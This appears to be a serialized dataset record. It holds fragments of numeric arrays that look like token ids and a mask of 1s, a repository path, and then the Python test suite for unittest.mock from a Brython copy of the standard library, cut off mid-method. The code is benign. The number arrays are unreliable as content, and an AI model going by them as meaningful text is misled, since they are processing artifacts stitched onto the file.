873,
8,
957,
2509,
63,
991,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
6204,
11248,
379,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
8578,
379,
8,
277,
304,
267,
408,
11359,
11248,
379,
63,
991,
2225,
641,
6204,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
8578,
379,
14,
873,
8,
8578,
379,
63,
991,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
18453,
1636,
295,
4196,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
24169,
8,
277,
304,
267,
408,
11359,
11248,
281,
2225,
641,
18453,
15293,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
24169,
14,
873,
8,
23492,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
7971,
30399,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
29752,
8,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
40223148/2015cda_g5
|
static/Brython3.1.1-20150328-091302/Lib/unittest/test/testmock/testmock.py
|
737
|
40047
|
import copy
import sys
import unittest
from unittest.test.testmock.support import is_instance
from unittest import mock
from unittest.mock import (
call, DEFAULT, patch, sentinel,
MagicMock, Mock, NonCallableMock,
NonCallableMagicMock, _CallList,
create_autospec
)
class Iter(object):
def __init__(self):
self.thing = iter(['this', 'is', 'an', 'iter'])
def __iter__(self):
return self
def next(self):
return next(self.thing)
__next__ = next
class MockTest(unittest.TestCase):
def test_all(self):
# if __all__ is badly defined then import * will raise an error
# We have to exec it because you can't import * inside a method
# in Python 3
exec("from unittest.mock import *")
def test_constructor(self):
mock = Mock()
self.assertFalse(mock.called, "called not initialised correctly")
self.assertEqual(mock.call_count, 0,
"call_count not initialised correctly")
self.assertTrue(is_instance(mock.return_value, Mock),
"return_value not initialised correctly")
self.assertEqual(mock.call_args, None,
"call_args not initialised correctly")
self.assertEqual(mock.call_args_list, [],
"call_args_list not initialised correctly")
self.assertEqual(mock.method_calls, [],
"method_calls not initialised correctly")
# Can't use hasattr for this test as it always returns True on a mock
self.assertFalse('_items' in mock.__dict__,
"default mock should not have '_items' attribute")
self.assertIsNone(mock._mock_parent,
"parent not initialised correctly")
self.assertIsNone(mock._mock_methods,
"methods not initialised correctly")
self.assertEqual(mock._mock_children, {},
"children not initialised incorrectly")
def test_return_value_in_constructor(self):
mock = Mock(return_value=None)
self.assertIsNone(mock.return_value,
"return value in constructor not honoured")
def test_repr(self):
mock = Mock(name='foo')
self.assertIn('foo', repr(mock))
self.assertIn("'%s'" % id(mock), repr(mock))
mocks = [(Mock(), 'mock'), (Mock(name='bar'), 'bar')]
for mock, name in mocks:
self.assertIn('%s.bar' % name, repr(mock.bar))
self.assertIn('%s.foo()' % name, repr(mock.foo()))
self.assertIn('%s.foo().bing' % name, repr(mock.foo().bing))
self.assertIn('%s()' % name, repr(mock()))
self.assertIn('%s()()' % name, repr(mock()()))
self.assertIn('%s()().foo.bar.baz().bing' % name,
repr(mock()().foo.bar.baz().bing))
def test_repr_with_spec(self):
class X(object):
pass
mock = Mock(spec=X)
self.assertIn(" spec='X' ", repr(mock))
mock = Mock(spec=X())
self.assertIn(" spec='X' ", repr(mock))
mock = Mock(spec_set=X)
self.assertIn(" spec_set='X' ", repr(mock))
mock = Mock(spec_set=X())
self.assertIn(" spec_set='X' ", repr(mock))
mock = Mock(spec=X, name='foo')
self.assertIn(" spec='X' ", repr(mock))
self.assertIn(" name='foo' ", repr(mock))
mock = Mock(name='foo')
self.assertNotIn("spec", repr(mock))
mock = Mock()
self.assertNotIn("spec", repr(mock))
mock = Mock(spec=['foo'])
self.assertNotIn("spec", repr(mock))
def test_side_effect(self):
mock = Mock()
def effect(*args, **kwargs):
raise SystemError('kablooie')
mock.side_effect = effect
self.assertRaises(SystemError, mock, 1, 2, fish=3)
mock.assert_called_with(1, 2, fish=3)
results = [1, 2, 3]
def effect():
return results.pop()
mock.side_effect = effect
self.assertEqual([mock(), mock(), mock()], [3, 2, 1],
"side effect not used correctly")
mock = Mock(side_effect=sentinel.SideEffect)
self.assertEqual(mock.side_effect, sentinel.SideEffect,
"side effect in constructor not used")
def side_effect():
return DEFAULT
mock = Mock(side_effect=side_effect, return_value=sentinel.RETURN)
self.assertEqual(mock(), sentinel.RETURN)
@unittest.skipUnless('java' in sys.platform,
'This test only applies to Jython')
def test_java_exception_side_effect(self):
import java
mock = Mock(side_effect=java.lang.RuntimeException("Boom!"))
# can't use assertRaises with java exceptions
try:
mock(1, 2, fish=3)
except java.lang.RuntimeException:
pass
else:
self.fail('java exception not raised')
mock.assert_called_with(1,2, fish=3)
def test_reset_mock(self):
parent = Mock()
spec = ["something"]
mock = Mock(name="child", parent=parent, spec=spec)
mock(sentinel.Something, something=sentinel.SomethingElse)
something = mock.something
mock.something()
mock.side_effect = sentinel.SideEffect
return_value = mock.return_value
return_value()
mock.reset_mock()
self.assertEqual(mock._mock_name, "child",
"name incorrectly reset")
self.assertEqual(mock._mock_parent, parent,
"parent incorrectly reset")
self.assertEqual(mock._mock_methods, spec,
"methods incorrectly reset")
self.assertFalse(mock.called, "called not reset")
self.assertEqual(mock.call_count, 0, "call_count not reset")
self.assertEqual(mock.call_args, None, "call_args not reset")
self.assertEqual(mock.call_args_list, [], "call_args_list not reset")
self.assertEqual(mock.method_calls, [],
"method_calls not initialised correctly: %r != %r" %
(mock.method_calls, []))
self.assertEqual(mock.mock_calls, [])
self.assertEqual(mock.side_effect, sentinel.SideEffect,
"side_effect incorrectly reset")
self.assertEqual(mock.return_value, return_value,
"return_value incorrectly reset")
self.assertFalse(return_value.called, "return value mock not reset")
self.assertEqual(mock._mock_children, {'something': something},
"children reset incorrectly")
self.assertEqual(mock.something, something,
"children incorrectly cleared")
self.assertFalse(mock.something.called, "child not reset")
def test_reset_mock_recursion(self):
mock = Mock()
mock.return_value = mock
# used to cause recursion
mock.reset_mock()
def test_call(self):
mock = Mock()
self.assertTrue(is_instance(mock.return_value, Mock),
"Default return_value should be a Mock")
result = mock()
self.assertEqual(mock(), result,
"different result from consecutive calls")
mock.reset_mock()
ret_val = mock(sentinel.Arg)
self.assertTrue(mock.called, "called not set")
self.assertEqual(mock.call_count, 1, "call_count incoreect")
self.assertEqual(mock.call_args, ((sentinel.Arg,), {}),
"call_args not set")
self.assertEqual(mock.call_args_list, [((sentinel.Arg,), {})],
"call_args_list not initialised correctly")
mock.return_value = sentinel.ReturnValue
ret_val = mock(sentinel.Arg, key=sentinel.KeyArg)
self.assertEqual(ret_val, sentinel.ReturnValue,
"incorrect return value")
self.assertEqual(mock.call_count, 2, "call_count incorrect")
self.assertEqual(mock.call_args,
((sentinel.Arg,), {'key': sentinel.KeyArg}),
"call_args not set")
self.assertEqual(mock.call_args_list, [
((sentinel.Arg,), {}),
((sentinel.Arg,), {'key': sentinel.KeyArg})
],
"call_args_list not set")
def test_call_args_comparison(self):
mock = Mock()
mock()
mock(sentinel.Arg)
mock(kw=sentinel.Kwarg)
mock(sentinel.Arg, kw=sentinel.Kwarg)
self.assertEqual(mock.call_args_list, [
(),
((sentinel.Arg,),),
({"kw": sentinel.Kwarg},),
((sentinel.Arg,), {"kw": sentinel.Kwarg})
])
self.assertEqual(mock.call_args,
((sentinel.Arg,), {"kw": sentinel.Kwarg}))
def test_assert_called_with(self):
mock = Mock()
mock()
# Will raise an exception if it fails
mock.assert_called_with()
self.assertRaises(AssertionError, mock.assert_called_with, 1)
mock.reset_mock()
self.assertRaises(AssertionError, mock.assert_called_with)
mock(1, 2, 3, a='fish', b='nothing')
mock.assert_called_with(1, 2, 3, a='fish', b='nothing')
def test_assert_called_once_with(self):
mock = Mock()
mock()
# Will raise an exception if it fails
mock.assert_called_once_with()
mock()
self.assertRaises(AssertionError, mock.assert_called_once_with)
mock.reset_mock()
self.assertRaises(AssertionError, mock.assert_called_once_with)
mock('foo', 'bar', baz=2)
mock.assert_called_once_with('foo', 'bar', baz=2)
mock.reset_mock()
mock('foo', 'bar', baz=2)
self.assertRaises(
AssertionError,
lambda: mock.assert_called_once_with('bob', 'bar', baz=2)
)
def test_attribute_access_returns_mocks(self):
mock = Mock()
something = mock.something
self.assertTrue(is_instance(something, Mock), "attribute isn't a mock")
self.assertEqual(mock.something, something,
"different attributes returned for same name")
# Usage example
mock = Mock()
mock.something.return_value = 3
self.assertEqual(mock.something(), 3, "method returned wrong value")
self.assertTrue(mock.something.called,
"method didn't record being called")
def test_attributes_have_name_and_parent_set(self):
mock = Mock()
something = mock.something
self.assertEqual(something._mock_name, "something",
"attribute name not set correctly")
self.assertEqual(something._mock_parent, mock,
"attribute parent not set correctly")
def test_method_calls_recorded(self):
mock = Mock()
mock.something(3, fish=None)
mock.something_else.something(6, cake=sentinel.Cake)
self.assertEqual(mock.something_else.method_calls,
[("something", (6,), {'cake': sentinel.Cake})],
"method calls not recorded correctly")
self.assertEqual(mock.method_calls, [
("something", (3,), {'fish': None}),
("something_else.something", (6,), {'cake': sentinel.Cake})
],
"method calls not recorded correctly")
def test_method_calls_compare_easily(self):
mock = Mock()
mock.something()
self.assertEqual(mock.method_calls, [('something',)])
self.assertEqual(mock.method_calls, [('something', (), {})])
mock = Mock()
mock.something('different')
self.assertEqual(mock.method_calls, [('something', ('different',))])
self.assertEqual(mock.method_calls,
[('something', ('different',), {})])
mock = Mock()
mock.something(x=1)
self.assertEqual(mock.method_calls, [('something', {'x': 1})])
self.assertEqual(mock.method_calls, [('something', (), {'x': 1})])
mock = Mock()
mock.something('different', some='more')
self.assertEqual(mock.method_calls, [
('something', ('different',), {'some': 'more'})
])
def test_only_allowed_methods_exist(self):
for spec in ['something'], ('something',):
for arg in 'spec', 'spec_set':
mock = Mock(**{arg: spec})
# this should be allowed
mock.something
self.assertRaisesRegex(
AttributeError,
"Mock object has no attribute 'something_else'",
getattr, mock, 'something_else'
)
def test_from_spec(self):
class Something(object):
x = 3
__something__ = None
def y(self):
pass
def test_attributes(mock):
# should work
mock.x
mock.y
mock.__something__
self.assertRaisesRegex(
AttributeError,
"Mock object has no attribute 'z'",
getattr, mock, 'z'
)
self.assertRaisesRegex(
AttributeError,
"Mock object has no attribute '__foobar__'",
getattr, mock, '__foobar__'
)
test_attributes(Mock(spec=Something))
test_attributes(Mock(spec=Something()))
def test_wraps_calls(self):
real = Mock()
mock = Mock(wraps=real)
self.assertEqual(mock(), real())
real.reset_mock()
mock(1, 2, fish=3)
real.assert_called_with(1, 2, fish=3)
def test_wraps_call_with_nondefault_return_value(self):
real = Mock()
mock = Mock(wraps=real)
mock.return_value = 3
self.assertEqual(mock(), 3)
self.assertFalse(real.called)
def test_wraps_attributes(self):
class Real(object):
attribute = Mock()
real = Real()
mock = Mock(wraps=real)
self.assertEqual(mock.attribute(), real.attribute())
self.assertRaises(AttributeError, lambda: mock.fish)
self.assertNotEqual(mock.attribute, real.attribute)
result = mock.attribute.frog(1, 2, fish=3)
Real.attribute.frog.assert_called_with(1, 2, fish=3)
self.assertEqual(result, Real.attribute.frog())
def test_exceptional_side_effect(self):
mock = Mock(side_effect=AttributeError)
self.assertRaises(AttributeError, mock)
mock = Mock(side_effect=AttributeError('foo'))
self.assertRaises(AttributeError, mock)
def test_baseexceptional_side_effect(self):
mock = Mock(side_effect=KeyboardInterrupt)
self.assertRaises(KeyboardInterrupt, mock)
mock = Mock(side_effect=KeyboardInterrupt('foo'))
self.assertRaises(KeyboardInterrupt, mock)
def test_assert_called_with_message(self):
mock = Mock()
self.assertRaisesRegex(AssertionError, 'Not called',
mock.assert_called_with)
def test__name__(self):
mock = Mock()
self.assertRaises(AttributeError, lambda: mock.__name__)
mock.__name__ = 'foo'
self.assertEqual(mock.__name__, 'foo')
def test_spec_list_subclass(self):
class Sub(list):
pass
mock = Mock(spec=Sub(['foo']))
mock.append(3)
mock.append.assert_called_with(3)
self.assertRaises(AttributeError, getattr, mock, 'foo')
def test_spec_class(self):
class X(object):
pass
mock = Mock(spec=X)
self.assertTrue(isinstance(mock, X))
mock = Mock(spec=X())
self.assertTrue(isinstance(mock, X))
self.assertIs(mock.__class__, X)
self.assertEqual(Mock().__class__.__name__, 'Mock')
mock = Mock(spec_set=X)
self.assertTrue(isinstance(mock, X))
mock = Mock(spec_set=X())
self.assertTrue(isinstance(mock, X))
def test_setting_attribute_with_spec_set(self):
class X(object):
y = 3
mock = Mock(spec=X)
mock.x = 'foo'
mock = Mock(spec_set=X)
def set_attr():
mock.x = 'foo'
mock.y = 'foo'
self.assertRaises(AttributeError, set_attr)
def test_copy(self):
current = sys.getrecursionlimit()
self.addCleanup(sys.setrecursionlimit, current)
# can't use sys.maxint as this doesn't exist in Python 3
sys.setrecursionlimit(int(10e8))
# this segfaults without the fix in place
copy.copy(Mock())
def test_subclass_with_properties(self):
class SubClass(Mock):
def _get(self):
return 3
def _set(self, value):
raise NameError('strange error')
some_attribute = property(_get, _set)
s = SubClass(spec_set=SubClass)
self.assertEqual(s.some_attribute, 3)
def test():
s.some_attribute = 3
self.assertRaises(NameError, test)
def test():
s.foo = 'bar'
self.assertRaises(AttributeError, test)
def test_setting_call(self):
mock = Mock()
def __call__(self, a):
return self._mock_call(a)
type(mock).__call__ = __call__
mock('one')
mock.assert_called_with('one')
self.assertRaises(TypeError, mock, 'one', 'two')
def test_dir(self):
mock = Mock()
attrs = set(dir(mock))
type_attrs = set([m for m in dir(Mock) if not m.startswith('_')])
# all public attributes from the type are included
self.assertEqual(set(), type_attrs - attrs)
# creates these attributes
mock.a, mock.b
self.assertIn('a', dir(mock))
self.assertIn('b', dir(mock))
# instance attributes
mock.c = mock.d = None
self.assertIn('c', dir(mock))
self.assertIn('d', dir(mock))
# magic methods
mock.__iter__ = lambda s: iter([])
self.assertIn('__iter__', dir(mock))
def test_dir_from_spec(self):
mock = Mock(spec=unittest.TestCase)
testcase_attrs = set(dir(unittest.TestCase))
attrs = set(dir(mock))
# all attributes from the spec are included
self.assertEqual(set(), testcase_attrs - attrs)
# shadow a sys attribute
mock.version = 3
self.assertEqual(dir(mock).count('version'), 1)
def test_filter_dir(self):
patcher = patch.object(mock, 'FILTER_DIR', False)
patcher.start()
try:
attrs = set(dir(Mock()))
type_attrs = set(dir(Mock))
# ALL attributes from the type are included
self.assertEqual(set(), type_attrs - attrs)
finally:
patcher.stop()
def test_configure_mock(self):
mock = Mock(foo='bar')
self.assertEqual(mock.foo, 'bar')
mock = MagicMock(foo='bar')
self.assertEqual(mock.foo, 'bar')
kwargs = {'side_effect': KeyError, 'foo.bar.return_value': 33,
'foo': MagicMock()}
mock = Mock(**kwargs)
self.assertRaises(KeyError, mock)
self.assertEqual(mock.foo.bar(), 33)
self.assertIsInstance(mock.foo, MagicMock)
mock = Mock()
mock.configure_mock(**kwargs)
self.assertRaises(KeyError, mock)
self.assertEqual(mock.foo.bar(), 33)
self.assertIsInstance(mock.foo, MagicMock)
def assertRaisesWithMsg(self, exception, message, func, *args, **kwargs):
# needed because assertRaisesRegex doesn't work easily with newlines
try:
func(*args, **kwargs)
except:
instance = sys.exc_info()[1]
self.assertIsInstance(instance, exception)
else:
self.fail('Exception %r not raised' % (exception,))
msg = str(instance)
self.assertEqual(msg, message)
def test_assert_called_with_failure_message(self):
mock = NonCallableMock()
expected = "mock(1, '2', 3, bar='foo')"
message = 'Expected call: %s\nNot called'
self.assertRaisesWithMsg(
AssertionError, message % (expected,),
mock.assert_called_with, 1, '2', 3, bar='foo'
)
mock.foo(1, '2', 3, foo='foo')
asserters = [
mock.foo.assert_called_with, mock.foo.assert_called_once_with
]
for meth in asserters:
actual = "foo(1, '2', 3, foo='foo')"
expected = "foo(1, '2', 3, bar='foo')"
message = 'Expected call: %s\nActual call: %s'
self.assertRaisesWithMsg(
AssertionError, message % (expected, actual),
meth, 1, '2', 3, bar='foo'
)
# just kwargs
for meth in asserters:
actual = "foo(1, '2', 3, foo='foo')"
expected = "foo(bar='foo')"
message = 'Expected call: %s\nActual call: %s'
self.assertRaisesWithMsg(
AssertionError, message % (expected, actual),
meth, bar='foo'
)
# just args
for meth in asserters:
actual = "foo(1, '2', 3, foo='foo')"
expected = "foo(1, 2, 3)"
message = 'Expected call: %s\nActual call: %s'
self.assertRaisesWithMsg(
AssertionError, message % (expected, actual),
meth, 1, 2, 3
)
# empty
for meth in asserters:
actual = "foo(1, '2', 3, foo='foo')"
expected = "foo()"
message = 'Expected call: %s\nActual call: %s'
self.assertRaisesWithMsg(
AssertionError, message % (expected, actual), meth
)
def test_mock_calls(self):
mock = MagicMock()
# need to do this because MagicMock.mock_calls used to just return
# a MagicMock which also returned a MagicMock when __eq__ was called
self.assertIs(mock.mock_calls == [], True)
mock = MagicMock()
mock()
expected = [('', (), {})]
self.assertEqual(mock.mock_calls, expected)
mock.foo()
expected.append(call.foo())
self.assertEqual(mock.mock_calls, expected)
# intermediate mock_calls work too
self.assertEqual(mock.foo.mock_calls, [('', (), {})])
mock = MagicMock()
mock().foo(1, 2, 3, a=4, b=5)
expected = [
('', (), {}), ('().foo', (1, 2, 3), dict(a=4, b=5))
]
self.assertEqual(mock.mock_calls, expected)
self.assertEqual(mock.return_value.foo.mock_calls,
[('', (1, 2, 3), dict(a=4, b=5))])
self.assertEqual(mock.return_value.mock_calls,
[('foo', (1, 2, 3), dict(a=4, b=5))])
mock = MagicMock()
mock().foo.bar().baz()
expected = [
('', (), {}), ('().foo.bar', (), {}),
('().foo.bar().baz', (), {})
]
self.assertEqual(mock.mock_calls, expected)
self.assertEqual(mock().mock_calls,
call.foo.bar().baz().call_list())
for kwargs in dict(), dict(name='bar'):
mock = MagicMock(**kwargs)
int(mock.foo)
expected = [('foo.__int__', (), {})]
self.assertEqual(mock.mock_calls, expected)
mock = MagicMock(**kwargs)
mock.a()()
expected = [('a', (), {}), ('a()', (), {})]
self.assertEqual(mock.mock_calls, expected)
self.assertEqual(mock.a().mock_calls, [call()])
mock = MagicMock(**kwargs)
mock(1)(2)(3)
self.assertEqual(mock.mock_calls, call(1)(2)(3).call_list())
self.assertEqual(mock().mock_calls, call(2)(3).call_list())
self.assertEqual(mock()().mock_calls, call(3).call_list())
mock = MagicMock(**kwargs)
mock(1)(2)(3).a.b.c(4)
self.assertEqual(mock.mock_calls,
call(1)(2)(3).a.b.c(4).call_list())
self.assertEqual(mock().mock_calls,
call(2)(3).a.b.c(4).call_list())
self.assertEqual(mock()().mock_calls,
call(3).a.b.c(4).call_list())
mock = MagicMock(**kwargs)
int(mock().foo.bar().baz())
last_call = ('().foo.bar().baz().__int__', (), {})
self.assertEqual(mock.mock_calls[-1], last_call)
self.assertEqual(mock().mock_calls,
call.foo.bar().baz().__int__().call_list())
self.assertEqual(mock().foo.bar().mock_calls,
call.baz().__int__().call_list())
self.assertEqual(mock().foo.bar().baz.mock_calls,
call().__int__().call_list())
def test_subclassing(self):
class Subclass(Mock):
pass
mock = Subclass()
self.assertIsInstance(mock.foo, Subclass)
self.assertIsInstance(mock(), Subclass)
class Subclass(Mock):
def _get_child_mock(self, **kwargs):
return Mock(**kwargs)
mock = Subclass()
self.assertNotIsInstance(mock.foo, Subclass)
self.assertNotIsInstance(mock(), Subclass)
def test_arg_lists(self):
mocks = [
Mock(),
MagicMock(),
NonCallableMock(),
NonCallableMagicMock()
]
def assert_attrs(mock):
names = 'call_args_list', 'method_calls', 'mock_calls'
for name in names:
attr = getattr(mock, name)
self.assertIsInstance(attr, _CallList)
self.assertIsInstance(attr, list)
self.assertEqual(attr, [])
for mock in mocks:
assert_attrs(mock)
if callable(mock):
mock()
mock(1, 2)
mock(a=3)
mock.reset_mock()
assert_attrs(mock)
mock.foo()
mock.foo.bar(1, a=3)
mock.foo(1).bar().baz(3)
mock.reset_mock()
assert_attrs(mock)
def test_call_args_two_tuple(self):
mock = Mock()
mock(1, a=3)
mock(2, b=4)
self.assertEqual(len(mock.call_args), 2)
args, kwargs = mock.call_args
self.assertEqual(args, (2,))
self.assertEqual(kwargs, dict(b=4))
expected_list = [((1,), dict(a=3)), ((2,), dict(b=4))]
for expected, call_args in zip(expected_list, mock.call_args_list):
self.assertEqual(len(call_args), 2)
self.assertEqual(expected[0], call_args[0])
self.assertEqual(expected[1], call_args[1])
def test_side_effect_iterator(self):
mock = Mock(side_effect=iter([1, 2, 3]))
self.assertEqual([mock(), mock(), mock()], [1, 2, 3])
self.assertRaises(StopIteration, mock)
mock = MagicMock(side_effect=['a', 'b', 'c'])
self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c'])
self.assertRaises(StopIteration, mock)
mock = Mock(side_effect='ghi')
self.assertEqual([mock(), mock(), mock()], ['g', 'h', 'i'])
self.assertRaises(StopIteration, mock)
class Foo(object):
pass
mock = MagicMock(side_effect=Foo)
self.assertIsInstance(mock(), Foo)
mock = Mock(side_effect=Iter())
self.assertEqual([mock(), mock(), mock(), mock()],
['this', 'is', 'an', 'iter'])
self.assertRaises(StopIteration, mock)
def test_side_effect_iterator_exceptions(self):
for Klass in Mock, MagicMock:
iterable = (ValueError, 3, KeyError, 6)
m = Klass(side_effect=iterable)
self.assertRaises(ValueError, m)
self.assertEqual(m(), 3)
self.assertRaises(KeyError, m)
self.assertEqual(m(), 6)
def test_side_effect_setting_iterator(self):
mock = Mock()
mock.side_effect = iter([1, 2, 3])
self.assertEqual([mock(), mock(), mock()], [1, 2, 3])
self.assertRaises(StopIteration, mock)
side_effect = mock.side_effect
self.assertIsInstance(side_effect, type(iter([])))
mock.side_effect = ['a', 'b', 'c']
self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c'])
self.assertRaises(StopIteration, mock)
side_effect = mock.side_effect
self.assertIsInstance(side_effect, type(iter([])))
this_iter = Iter()
mock.side_effect = this_iter
self.assertEqual([mock(), mock(), mock(), mock()],
['this', 'is', 'an', 'iter'])
self.assertRaises(StopIteration, mock)
self.assertIs(mock.side_effect, this_iter)
def test_assert_has_calls_any_order(self):
mock = Mock()
mock(1, 2)
mock(a=3)
mock(3, 4)
mock(b=6)
mock(b=6)
kalls = [
call(1, 2), ({'a': 3},),
((3, 4),), ((), {'a': 3}),
('', (1, 2)), ('', {'a': 3}),
('', (1, 2), {}), ('', (), {'a': 3})
]
for kall in kalls:
mock.assert_has_calls([kall], any_order=True)
for kall in call(1, '2'), call(b=3), call(), 3, None, 'foo':
self.assertRaises(
AssertionError, mock.assert_has_calls,
[kall], any_order=True
)
kall_lists = [
[call(1, 2), call(b=6)],
[call(3, 4), call(1, 2)],
[call(b=6), call(b=6)],
]
for kall_list in kall_lists:
mock.assert_has_calls(kall_list, any_order=True)
kall_lists = [
[call(b=6), call(b=6), call(b=6)],
[call(1, 2), call(1, 2)],
[call(3, 4), call(1, 2), call(5, 7)],
[call(b=6), call(3, 4), call(b=6), call(1, 2), call(b=6)],
]
for kall_list in kall_lists:
self.assertRaises(
AssertionError, mock.assert_has_calls,
kall_list, any_order=True
)
def test_assert_has_calls(self):
kalls1 = [
call(1, 2), ({'a': 3},),
((3, 4),), call(b=6),
('', (1,), {'b': 6}),
]
kalls2 = [call.foo(), call.bar(1)]
kalls2.extend(call.spam().baz(a=3).call_list())
kalls2.extend(call.bam(set(), foo={}).fish([1]).call_list())
mocks = []
for mock in Mock(), MagicMock():
mock(1, 2)
mock(a=3)
mock(3, 4)
mock(b=6)
mock(1, b=6)
mocks.append((mock, kalls1))
mock = Mock()
mock.foo()
mock.bar(1)
mock.spam().baz(a=3)
mock.bam(set(), foo={}).fish([1])
mocks.append((mock, kalls2))
for mock, kalls in mocks:
for i in range(len(kalls)):
for step in 1, 2, 3:
these = kalls[i:i+step]
mock.assert_has_calls(these)
if len(these) > 1:
self.assertRaises(
AssertionError,
mock.assert_has_calls,
list(reversed(these))
)
def test_assert_any_call(self):
mock = Mock()
mock(1, 2)
mock(a=3)
mock(1, b=6)
mock.assert_any_call(1, 2)
mock.assert_any_call(a=3)
mock.assert_any_call(1, b=6)
self.assertRaises(
AssertionError,
mock.assert_any_call
)
self.assertRaises(
AssertionError,
mock.assert_any_call,
1, 3
)
self.assertRaises(
AssertionError,
mock.assert_any_call,
a=4
)
def test_mock_calls_create_autospec(self):
def f(a, b):
pass
obj = Iter()
obj.f = f
funcs = [
create_autospec(f),
create_autospec(obj).f
]
for func in funcs:
func(1, 2)
func(3, 4)
self.assertEqual(
func.mock_calls, [call(1, 2), call(3, 4)]
)
def test_mock_add_spec(self):
class _One(object):
one = 1
class _Two(object):
two = 2
class Anything(object):
one = two = three = 'four'
klasses = [
Mock, MagicMock, NonCallableMock, NonCallableMagicMock
]
for Klass in list(klasses):
klasses.append(lambda K=Klass: K(spec=Anything))
klasses.append(lambda K=Klass: K(spec_set=Anything))
for Klass in klasses:
for kwargs in dict(), dict(spec_set=True):
mock = Klass()
#no error
mock.one, mock.two, mock.three
for One, Two in [(_One, _Two), (['one'], ['two'])]:
for kwargs in dict(), dict(spec_set=True):
mock.mock_add_spec(One, **kwargs)
mock.one
self.assertRaises(
AttributeError, getattr, mock, 'two'
)
self.assertRaises(
AttributeError, getattr, mock, 'three'
)
if 'spec_set' in kwargs:
self.assertRaises(
AttributeError, setattr, mock, 'three', None
)
mock.mock_add_spec(Two, **kwargs)
self.assertRaises(
AttributeError, getattr, mock, 'one'
)
mock.two
self.assertRaises(
AttributeError, getattr, mock, 'three'
)
if 'spec_set' in kwargs:
self.assertRaises(
AttributeError, setattr, mock, 'three', None
)
# note that creating a mock, setting an instance attribute, and
# *then* setting a spec doesn't work. Not the intended use case
def test_mock_add_spec_magic_methods(self):
for Klass in MagicMock, NonCallableMagicMock:
mock = Klass()
int(mock)
mock.mock_add_spec(object)
self.assertRaises(TypeError, int, mock)
mock = Klass()
mock['foo']
mock.__int__.return_value =4
mock.mock_add_spec(int)
self.assertEqual(int(mock), 4)
self.assertRaises(TypeError, lambda: mock['foo'])
def test_adding_child_mock(self):
for Klass in NonCallableMock, Mock, MagicMock, NonCallableMagicMock:
mock = Klass()
mock.foo = Mock()
mock.foo()
self.assertEqual(mock.method_calls, [call.foo()])
self.assertEqual(mock.mock_calls, [call.foo()])
mock = Klass()
mock.bar = Mock(name='name')
mock.bar()
self.assertEqual(mock.method_calls, [])
self.assertEqual(mock.mock_calls, [])
# mock with an existing _new_parent but no name
mock = Klass()
mock.baz = MagicMock()()
mock.baz()
self.assertEqual(mock.method_calls, [])
self.assertEqual(mock.mock_calls, [])
def test_adding_return_value_mock(self):
for Klass in Mock, MagicMock:
mock = Klass()
mock.return_value = MagicMock()
mock()()
self.assertEqual(mock.mock_calls, [call(), call()()])
def test_manager_mock(self):
class Foo(object):
one = 'one'
two = 'two'
manager = Mock()
p1 = patch.object(Foo, 'one')
p2 = patch.object(Foo, 'two')
mock_one = p1.start()
self.addCleanup(p1.stop)
mock_two = p2.start()
self.addCleanup(p2.stop)
manager.attach_mock(mock_one, 'one')
manager.attach_mock(mock_two, 'two')
Foo.two()
Foo.one()
self.assertEqual(manager.mock_calls, [call.two(), call.one()])
def test_magic_methods_mock_calls(self):
for Klass in Mock, MagicMock:
m = Klass()
m.__int__ = Mock(return_value=3)
m.__float__ = MagicMock(return_value=3.0)
int(m)
float(m)
self.assertEqual(m.mock_calls, [call.__int__(), call.__float__()])
self.assertEqual(m.method_calls, [])
def test_attribute_deletion(self):
# this behaviour isn't *useful*, but at least it's now tested...
for Klass in Mock, MagicMock, NonCallableMagicMock, NonCallableMock:
m = Klass()
